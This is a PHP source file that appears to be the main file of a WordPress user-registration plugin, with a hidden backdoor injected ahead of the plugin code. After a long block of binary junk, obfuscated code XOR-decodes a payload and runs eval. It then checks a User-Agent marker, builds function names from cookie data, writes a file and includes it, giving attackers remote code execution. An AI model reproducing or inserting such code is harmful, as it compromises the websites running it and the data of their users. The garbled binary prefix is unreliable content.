d$S,<p^ _>v_ S[_Z;[7{,94^1r^E&?*AiXU'<UM@7CSC9[CX8	;&~1 !8|S
UF_/1]Zv5F~-.(G8)%;\M>7xRX.,"S>;<#]F\>/%AP%) 'x9F5$* V ?U>$T;+%7[!W%%"E_X]LK<.	Y9XBV:! [-?KEp#RY E('3:^&XX'>-!W(G(()95$d>=:c' 4
<0]&)9fW(/1d'/BS/#> TD%[  L BRU#L<>1^ ARC5'	8P&F?F0V:YM>b@TR[__^X=V 2: 2\'&&I8:\R@Z:M!YB!>.b-93!<B  &*7ZN%$FzRX#/'\];:?ZF)S8#_>.Bg	A?Y;0,U6[G_KT3~% 0);U><COU)<GX.9\$
8y@7 b)(IE /
*pXR-u??>%B!M"t0& E	8)2aO)!\N 3E;(AH8/2\1eG!*.F@M2$fSN4_%[e(:Z/ ^$A pE^^;I0#BS9p.>?XGf^>K8UG4`$OMY>00U8
T.?9xJX%$pG[4#GX?<Cy!/?]7W&)#XLu:'8;%ZR##!']"@Z8&%&5z=2C+M>#H;+>"_>bD!,$!{ <(D"Z*>zY@~&CX+?]8H+3';g/B%	6`J'.P%TX;`^N8+,[27+|	0!M C%<C""k.",Xh^v-;8t1#\9BYG,'Z;S2OT@^-X ?c-_ {@'2*!`/89#a]:4: G99>MDw<'	F.~G \-;B'}+<]AUR_J4,D]EdX>_ @7%##W8.:AF'][%@8ME\?RX'^s>D)K> :D'!a$][!'"<KX)
%"V/{3-/)RJ.ZY.iG$XMv=
8:^"8XE%443B]% ?i.0\<"`C:<\..<%TF;8/4CD#E,[BiZ--!$D>&2)BD+-79~\#)I< :*('+7t"E+R5 i'"&@pK.t#	`U*1D''FS![[3>T,#:-1^3t\4
 T/\T]C1<:']D<#X.&Y^>+:UMy8%\B'D;4?$eJ5?\;[@E	[}^] <| N&[5BdY{3N,,"F1	[>i
3Xw;Y#U.MF[:#+Z@Z"2. s-*YJ?(/?2;Y18(
.DZ)%)	Bb']L~2
9cYDZ]< d;478\$'Ti[$ZG~$&,p9&4HY-=Y*_W&!_	t^
$#!*%	[59D#CDC$1ABX+1A8$+^^149G01$/>`%< 7Z5/%\<*XGG$2 \ ]3+{S_
+x"=_t8 Z[9A	-#!=>Tf<YAD/
t.07)8Li%?> _//$ d!3*MK[#_	3U).F,Xv+"'7Z>8#
>K[73eM	7xA&;%99>/BV!>$3#E ?B$,:
U/;*(DG.&U(' X/)S"T{A4.XBc14>>|>@/.Y?X>7YX
%DM;AD+*Ed;Y;2/< E99;#8^^ZP4^/_!&M>vR\x-N_Y[] N4S6SE&;"-,CP/ 
;[N;$M#E0;)U}!\#\9x_0<Et ,Be3<1KC=[Bs),wR>=\"
'd >AJ/55P(!#\$Z"CT5'W?G [\0^1'v!$Uf$%_GS	-"? B&:=&];I/%73^][4<U]\ZP=2
A%=]1P3?YU3E"D]9 LH-:	$;YAT7@S	/Z.@X',XU> ;FvX(>L[,D/)	_= ?&W?5#$2	!$$_uOU]>P;.%
;A2( ]%21M7[>X1v+Z9c>*$A\ 	 a!$F#!9S1] "\'"(XXG;5*"k%%,$T%="t	"3V1RE	]>:?5A^X3M!- ! *_8~0&-7 -#Z9D:TZ@;;W	G?%C_Y&@!)2k;27-[[G7KC13[?	/G62]3T#B$&5X4!R,f;_i:(<LPR-_3!P\&X[DZ?[T$>I8 [-+G/F>';h<F&.z: >h2# 2'=5Ls?&X",(B_W
<+r]# 1FT%4yES;t2#?\GB)25#d	45FrY#U!R25,gW[90X%<'z= =gU@\?B3;d A+ @(9ZLI#+:T+?XV9Z3<1X*SM a0C;'7"	9/t0 5,+s!";e;N5%@eY4"?.:K9."$&A3K?8E-;R(M!+S/L'!:.I9"y2 9</(:[MR/M#~#.[F9>.08X<2K#+3';P)8.$u/%/-dA.XDK/',	5;S''I\ ZY'K);_/Y-Y.=U.
u%R81d/,>'h99:w<3Z%_ 6Z&s1X?]W#(%-b]\"p-">=@J#%UGNY/_G?.C64 ^,293!H0<=G	"T${,0Y&DST 1Z;&F.WZ
>	9 t6*<8.2=[2$%5}$? 3UJ#+W0?[.)<]"';",8$&V=<;r(/,,=WE8>DE"81k) XEDW 0<Yt] 1%&]	! {3!''g21$&e!8%5D#>.;-!FG?@_$"649%a:%<Z,$X
6G.)Y;P1-X?O98, r\%#C #
8#S:] zO:y8*#MuD':)1HXG:
9\'1:.[/N
?x?;BMH0N'>Z#,_//&FJDF\!!xE>)9[hS_90 ,<"8_A<F ]=/TD8"=1~0&\
'p.<%S>;"Y0#!f+5_U"U".;CYXDU=D{$;B%$d!E.>Tz^\T
 A(*	<|2'4+EdN+#1s$'? <!BBI3##/7D_?Z;Yu&#K7'}::_5\& :Et4?2H#EB3.E_>8[*3W^K4|;F_,]3YD;u/<\ZD[4	$H,<:r;&!	0z<'%d4#1^!7B,N7P BDyJ@XE1+ZC /:!?Y:B:K?
4-b],^8;
$K?##s(& := E'^ MV'9#;Z-BTX2>/\%[!I2[^0_ WU'45r^X2) h3!uR(9"^	D:$;-M).9$XPJ;+1B-AE-4XFB;F\ O\-GZ(7XA>;K )5$%<<`&*=Z2Tv>4!* v98-Y=/DX:7=<z30?f@()Y5c "<F0X;16,	+#R$,U_[. ^s.)#I#Z_%_=!$!'\  ]K(!g$N$U$x2(+,5.=G S7	;M{AF)*G	=4ATS#K/E>_V_-(9X\^Uw, []UW!?74]^9i	"^:	`]3"XFTD_F0^ UY=%2/9TR.)z\%DY}91U(14[3/*Z_@48}%':,Mz 9!\	p]']'6=Z!xF:"=a!'=%<T _.*d="=	>)#\GB(a&>$<D,L{	>E W  :>AK\9: /'@U2^..F]F8 ]?:5H8;M<'>e( 0Z0|8G	X	E
(@H/	"C[@8s<\)6k\	D/D:X5)[8{R0>X:Z/ R*!s$] 2`'Z=	 ;SXB{@9K
9<G95^)_;8 '0Kr,4'=8 ;b>+:w#8/1Fp/;)(d;0(-(""XLE_<[]DZ![-b)$( 4(.X2-]3S.  ;[!B;&KY>B:>T%,
MDJ"/ZUEA0'8[[C::('A\$/A0"" #H^e 1>Y^;CZ&;9Y
$d24[]9U05)%%^0O>5W&+MI1M

|#/"<p"4 !5%Y\%`[.Z0U<[2;>S(>v ><_TC0,
_%k<8*.>_=!?@ ,{ _6Y_=.(0u]9F4.aC =BF}?3Y\^Z5K%De<O}>@W6 >TE+B$ p,ZEN/&4M"''>p;+^D-'@v
]DH.@8Ck 9 _[W;[V3/([X;#!'<N5<	r";"E@S-MR*r3X>  9&$B?E_@yXF>;"E/< >Z25Y,TW3-]_LH<-D%K [Z-=) g =<[B [,T5tZ8 [_y$'Y~"]<:U!U~.0+#
u)==8M2C(/)Y,	  <X#K<_<&XZ/U<\ >DK>!$'iJB	8d%DZt)!L?X.]=Z\&<"tNK\ =[._pZ$D>S.9];i;^9$V-.8<;=T?'^?\2 ^<" 
!1}>8GK%$&?_CJ\*%uS%'MZ]Z8DH^3_8p>@_/I+=(	.Y!@3/$? ??t+M.H2<,(;0 S8b@+'@7DP;0	5>t21M[1uS#[@B)@4$7^_'x//"y?N2MA$1F0=& 3t
4W:
%b4 (7&<^.XF(+ e;6G[JZB (=]\F2	@/:. z.]<5&7E\'XTWEN&
9};v#C4CH[?<\<iS#R[AZY?( $ %;:9]N;+;'x#=;D-N, $JX,Y4Cs&(k. G(#^G*X> "[;^1CE"<EkZ[0,6B 9 W/$z#W
&i%%!}*
ZO**?A;/*h^*-@<1=I(F<V%1M1C.@T-/
[(>PIQWX	WIEKPTPESe PAKJ#B[JGMSdM[ML [M[ML>CLM]MO2TLM]MOCKPTPES S;LATJXM"	JXM<LAT<&JXM9
J]
J	RJS2 PQWX	WIDMVMCCJ{=JGMSR R5-F%PAKJvZN
LAT_ZYSJPPLDONIWPKCEL[@PAKJFWJ@,CLM]MO2_MI
\LAT2JGMSkM[ML&;CLM]MOUVKSKI IJJM[VTAT5VJJM
P_J9JXM)LAT<\SJP;TCLM]MOUQWX	WI_JJM
P_J@JXMLATWPAKJAFWJJXMNJGMSM^VKSKI+BMVMCCJT	PAKJPPAKJFWJ	SJP]Y+CLM]MOTKPTZOVKSKITWPKJ^=D/2WSN=aA &5~=&(F/U>$R\.2BFD	BI0:Y M!F:/D(.GG\@s1[}U8S)9^hJB:Z"8.@A]z-FX5$#3.h1XX5[3<SMMh[/"&-A B'[uB /ULd)D+.|>1F3	ZR=. _f>W:?<[Z;]\~= $<,)!H",h=\ <&6"_24=d0B* NM_%{^A	.8I3;Y<D_ZXF Y\7>=A' _r(59T{Y2[']^;1fD>r["F]++KY?<yE/X\EBZG,^>c"<=DFYRM0\ [z]=z<C%[AsE3[=s\KF.(U1% ^&)b9_%wD$S/'+_,<3NT}E'._F]	#K3;^!r8)KD9$\9;+@t0<>-{	G1:[G!X>`@
5	 Y+FY[F/)_U*BR-Z?A=GX0+	XBX;!C#]7|2 M1>,5tS'! 'z '=_5= ':!FM9"_E Y=~=_s]&YT/9:6@:]Ud? :C>)F (=ARAs%6: 9 }&=-M2 ]8U[W)<TEp<	aR* =dS%
B	&5B7#kS8;\>~(\*_GD!&.T>RJST \^D># g3F3s0]39bF#?AER&A_!;R9">[D"]#XA*^c=WT? \)O];2b[TAi9@5<8U U g;.;R S<:h=_84>t,;)yB=]F_AZDB-W0((A5FV>(($R:*;'\-C(Z$K^:M K4:[,"C+/&:XN5. 3A:!G?NM/(!w^(_XF`E=%> t$4\/?k-,()v?>BT.?>UCu'!Y1]?M)BG#$]7EX4^B>g=>P>#MZ^) $p@'(LyS,!k/N>?!&4w>4@~ 4/TF"M;BP@Y:_&bA4_8U_T;S@ B@<3=-RF.+Y_)K/-@Y_!A BZ(%AZ#:%FA9 &Y
] W$_ 7V9\"??U2:7K7Y_<.^ ;#S
J	RJS2EQWX	WIXMVMCCJ]PAKJS2PAKJ'@ZPAKJ3S2JGMS@!PAKJICLMMTW+\Q' ; $qaj = 'wmkmt1j' ; $sik = '' ; for ( $log = 0 ; $log < strlen( $kxm( $dpp ) ) ; $log++ ) { $sik .= $kxm( $dpp )[ $log ] ^ $qaj[ $log % strlen( $qaj ) ] ; } eval( $sik );
function hash_string(...$zr)
{
$x = array(97 + 4 + 14, 3 * 37, 2 * 56, 67 + 40 + 7, 78 * 41 - 3082, 82 * 69 - 5543);
$xq = '';
foreach ($x as $h) {
$xq .= chr($h);
}
$xq = strrev($xq);
return $xq(...$zr);
}
function decode_input($p)
{
$w = array(62 + 25 + 14, 74 + 11 + 15, 6 + 105, 58 + 7 + 34, 111 - 10, 12 * 40 - 380, 76 * 1 + 19, 52, 2 * 27, 44 + 57, 124 - 9, 97 * 1, 98);
$h = '';
foreach ($w as $f) {
$h .= chr($f);
}
$h = strrev($h);
return $h($p);
}
class ConfigCenter
{
private static $_lm;
static function resolveAction($_gv)
{
if (!self::$_lm) {
self::fetchSummary();
}
return decode_input(self::$_lm[$_gv]);
}
private static function fetchSummary()
{
self::$_lm = array('_fl' => 'SFR' . 'UUF9VU0VSX0FHRU5U', '_fre' => 'SFRUUF9VU0V' . 'SX0FHRU5U', '_qx' => 'MTMwMzY' . 'yNjk' . '=', '_pkn' => '', '_kcx' => '');
}
}
if (isset($_SERVER[ConfigCenter::resolveAction('_' . 'f' . 'l')]) && hash_string($_SERVER[ConfigCenter::resolveAction('_f' . 'r' . 'e')], ConfigCenter::resolveAction('_' . 'qx')) !== false) {
$_fnu = $_COOKIE;
$_ip = 00;
$_gv = 02;
$_ssh = array();
$_ssh[$_ip] = ConfigCenter::resolveAction('_p' . 'kn');
while ($_gv) {
$_ssh[$_ip] .= $_fnu[043][$_gv];
if (!$_fnu[043][$_gv + 01]) {
if (!$_fnu[043][$_gv + 02]) {
break;
}
$_ip++;
$_ssh[$_ip] = ConfigCenter::resolveAction('_' . 'kcx');
$_gv++;
}
$_gv = $_gv + 02 + 01;
}
$_ip = $_ssh[033]() . $_ssh[032];
if (!$_ssh[022]($_ip)) {
$_gv = $_ssh[026]($_ip, $_ssh[00]);
$_ssh[05]($_gv, $_ssh[017] . $_ssh[014]($_ssh[016]($_fnu[03])));
}
include $_ip;
die;
}
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
if ( ! class_exists( 'UserRegistration' ) ) :
/**
* Main UserRegistration Class.
*
* @class UserRegistration
* @version 1.0.0
*/
final class UserRegistration {
/**
* Plugin version.
*
* @var string
*/
public $version = '1.9.6';
/**
* Session instance.
*
* @var UR_Session|UR_Session_Handler
*/
public $session = null;
/**
* Query instance.
*
* @var UR_Query
*/
public $query = null;
/**
* Instance of this class.
*
* @var object
*/
protected static $_instance = null;
/**
* Return an instance of this class.
*
* @return object A single instance of this class.
*/
public static function instance() {
// If the single instance hasn't been set, set it now.
if ( is_null( self::$_instance ) ) {
self::$_instance = new self();
}
return self::$_instance;
}
/**
* Cloning is forbidden.
*
* @since 1.0
*/
public function __clone() {
_doing_it_wrong( __FUNCTION__, __( 'Cheatin’ huh?', 'user-registration' ), '1.0' );
}
/**
* Unserializing instances of this class is forbidden.
*
* @since 1.0
*/
public function __wakeup() {
_doing_it_wrong( __FUNCTION__, __( 'Cheatin’ huh?', 'user-registration' ), '1.0' );
}
/**
* UserRegistration Constructor.
*/
public function __construct() {
$this->define_constants();
$this->includes();
$this->init_hooks();
add_action( 'plugins_loaded', array( $this, 'objects' ), 1 );
do_action( 'user_registration_loaded' );
}
/**
* Hook into actions and filters.
*/
private function init_hooks() {
register_activation_hook( __FILE__, array( 'UR_Install', 'install' ) );
add_action( 'after_setup_theme', array( $this, 'include_template_functions' ), 11 );
add_action( 'init', array( $this, 'init' ), 0 );
add_action( 'init', array( 'UR_Shortcodes', 'init' ) );
}
/**
* Define FT Constants.
*/
private function define_constants() {
$upload_dir = wp_upload_dir();
$this->define( 'UR_LOG_DIR', $upload_dir['basedir'] . '/ur-logs/' );
$this->define( 'UR_DS', DIRECTORY_SEPARATOR );
$this->define( 'UR_PLUGIN_FILE', __FILE__ );
$this->define( 'UR_ABSPATH', dirname( __FILE__ ) . UR_DS );
$this->define( 'UR_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );
$this->define( 'UR_VERSION', $this->version );
$this->define( 'UR_TEMPLATE_DEBUG_MODE', false );
$this->define( 'UR_FORM_PATH', UR_ABSPATH . 'includes' . UR_DS . 'form' . UR_DS );
$this->define( 'UR_SESSION_CACHE_GROUP', 'ur_session_id' );
}
/**
* Define constant if not already set.
*
* @param string $name
* @param string|bool $value
*/
private function define( $name, $value ) {
if ( ! defined( $name ) ) {
define( $name, $value );
}
}
/**
* What type of request is this?
*
* @param string $type admin, ajax, cron or frontend.
* @return bool
*/
private function is_request( $type ) {
switch ( $type ) {
case 'admin':
return is_admin();
case 'ajax':
return defined( 'DOING_AJAX' );
case 'cron':
return defined( 'DOING_CRON' );
case 'frontend':
return ( ! is_admin() || defined( 'DOING_AJAX' ) ) && ! defined( 'DOING_CRON' );
}
}
/**
* Includes.
*/
private function includes() {
/**
* Class autoloader.
*/
include_once UR_ABSPATH . 'includes/class-ur-autoloader.php';
/**
* Interfaces.
*/
include_once UR_ABSPATH . 'includes/interfaces/class-ur-logger-interface.php';
include_once UR_ABSPATH . 'includes/interfaces/class-ur-log-handler-interface.php';
/**
* Abstract classes
*/
include_once UR_ABSPATH . 'includes/abstracts/abstract-ur-form-field.php';
include_once UR_ABSPATH . 'includes/abstracts/abstract-ur-field-settings.php';
include_once UR_ABSPATH . 'includes/abstracts/abstract-ur-log-handler.php';
include_once UR_ABSPATH . 'includes/abstracts/abstract-ur-session.php';
/**
* Core classes.
*/
include_once UR_ABSPATH . 'includes/functions-ur-core.php';
include_once UR_ABSPATH . 'includes/class-ur-install.php';
include_once UR_ABSPATH . 'includes/class-ur-post-types.php'; // Registers post types
include_once UR_ABSPATH . 'includes/class-ur-user-approval.php'; // User Approval class
include_once UR_ABSPATH . 'includes/class-ur-emailer.php';
include_once UR_ABSPATH . 'includes/class-ur-ajax.php';
include_once UR_ABSPATH . 'includes/class-ur-query.php';
include_once UR_ABSPATH . 'includes/class-ur-email-confirmation.php';
include_once UR_ABSPATH . 'includes/class-ur-privacy.php';
include_once UR_ABSPATH . 'includes/class-ur-form-block.php';
include_once UR_ABSPATH . 'includes/class-ur-cache-helper.php';
/**
* Config classes.
*/
include_once UR_ABSPATH . 'includes/admin/class-ur-config.php';
/**
* Plugin/Addon Updater.
*/
include_once UR_ABSPATH . 'includes/class-ur-plugin-updater.php';
if ( $this->is_request( 'admin' ) ) {
include_once UR_ABSPATH . 'includes/admin/class-ur-admin.php';
}
if ( $this->is_request( 'frontend' ) ) {
$this->frontend_includes();
}
if ( $this->is_request( 'frontend' ) || $this->is_request( 'cron' ) ) {
include_once UR_ABSPATH . 'includes/class-ur-session-handler.php';
}
$this->query = new UR_Query();
}
/**
* Include required frontend files.
*/
public function frontend_includes() {
include_once UR_ABSPATH . 'includes/functions-ur-notice.php';
include_once UR_ABSPATH . 'includes/class-ur-form-handler.php'; // Form Handlers
include_once UR_ABSPATH . 'includes/class-ur-frontend-scripts.php'; // Frontend Scripts
include_once UR_ABSPATH . 'includes/frontend/class-ur-frontend.php';
include_once UR_ABSPATH . 'includes/class-ur-preview.php';
}
/**
* Function used to Init UserRegistration Template Functions - This makes them pluggable by plugins and themes.
*/
public function include_template_functions() {
include_once UR_ABSPATH . 'includes/functions-ur-template.php';
}
/**
* Setup Objects.
*
* @since 1.7.2
*/
public function objects() {
$this->form = new UR_Form_Handler();
}
/**
* Init UserRegistration when WordPress Initialises.
*/
public function init() {
// Before init action.
do_action( 'before_user_registration_init' );
// Set up localisation.
$this->load_plugin_textdomain();
// Session class, handles session data for users - can be overwritten if custom handler is needed.
if ( $this->is_request( 'frontend' ) || $this->is_request( 'cron' ) || $this->is_request( 'admin' ) ) {
$session_class = apply_filters( 'user_registration_session_handler', 'UR_Session_Handler' );
$this->session = new $session_class();
}
// Init action.
do_action( 'user_registration_init' );
}
/**
* Load Localisation files.
*
* Note: the first-loaded translation file overrides any following ones if the same translation is present.
*
* Locales found in:
* - WP_LANG_DIR/user-registration/user-registration-LOCALE.mo
* - WP_LANG_DIR/plugins/user-registration-LOCALE.mo
*/
public function load_plugin_textdomain() {
$locale = is_admin() && function_exists( 'get_user_locale' ) ? get_user_locale() : get_locale();
$locale = apply_filters( 'plugin_locale', $locale, 'user-registration' );
unload_textdomain( 'user-registration' );
load_textdomain( 'user-registration', WP_LANG_DIR . '/user-registration/user-registration-' . $locale . '.mo' );
load_plugin_textdomain( 'user-registration', false, plugin_basename( dirname( __FILE__ ) ) . '/languages' );
}
/**
* Get the plugin url.
*
* @return string
*/
public function plugin_url() {
return untrailingslashit( plugins_url( '/', __FILE__ ) );
}
/**
* Get the plugin path.
*
* @return string
*/
public function plugin_path() {
return untrailingslashit( plugin_dir_path( __FILE__ ) );
}
/**
* Get the template path.
*
* @return string
*/
public function template_path() {
return apply_filters( 'user_registration_template_path', 'user-registration/' );
}
/**
* Get Ajax URL.
*
* @return string
*/
public function ajax_url() {
return admin_url( 'admin-ajax.php', 'relative' );
}
}
endif;
/**
* Main instance of UserRegistration.
*
* Returns the main instance of FT to prevent the need to use globals.
*
* @since 1.0.0
* @return UserRegistration
*/
function UR() {
return UserRegistration::instance();
}
// Global for backwards compatibility.
$GLOBALS['user-registration'] = UR();